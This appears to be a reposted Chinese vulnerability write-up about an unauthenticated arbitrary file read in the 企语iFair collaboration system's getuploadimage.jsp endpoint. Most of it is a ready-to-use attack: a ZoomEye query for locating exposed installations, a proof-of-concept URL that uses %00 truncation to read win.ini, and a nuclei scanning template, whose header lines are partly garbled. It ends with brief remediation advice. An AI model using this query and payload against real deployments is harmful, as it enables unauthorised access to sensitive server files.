0x01 产品简介
企语iFair协同管理系统是一款专业的协同办公软件,该管理系统兼容性强,适合多种企业类型。该软件永久免费,绿色安全,无需收取费用即可使用所有功能。企语iFair协同管理系统同时兼容了Linux、Windows两种操作系统,用户可以根据自己需求进行安装使用,影响资产1000+。
0x02 漏洞描述
企语iFair协同管理系统getuploadimage.jsp接口处存在任意文件读取漏洞,未经身份认证的攻击者可以通过此漏洞获取服务器敏感信息,使系统处于极不安全状态。
0x03 ZoomEye语法
ZoomEye语法: app:"企语 iFair"
0x04 漏洞复现
原码分析,用%00截断绕过即可
POC
/oa/common/components/upload/getuploadimage.jsp?imageURL=C:Windowswin.ini%00.jpg
id: iFair
info:
name: iFair
author: CB-Hack
severity: high
http:
raw:
|
GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:Windowswin.ini%00.jpg HTTP/1.1
Host: {{Hostname}}
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 :
Connection: close
gzip, deflate, br :
and :
matchers:
type: dsl
dsl:
'len(body)>300'
0x05 修复建议
鉴权,用户下载文件之前需要进行权限判断
原文始发于微信公众号(渗透安全HackTwo):某协同办公系统存在任意文件读取漏洞及绕过思路-漏洞挖掘
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论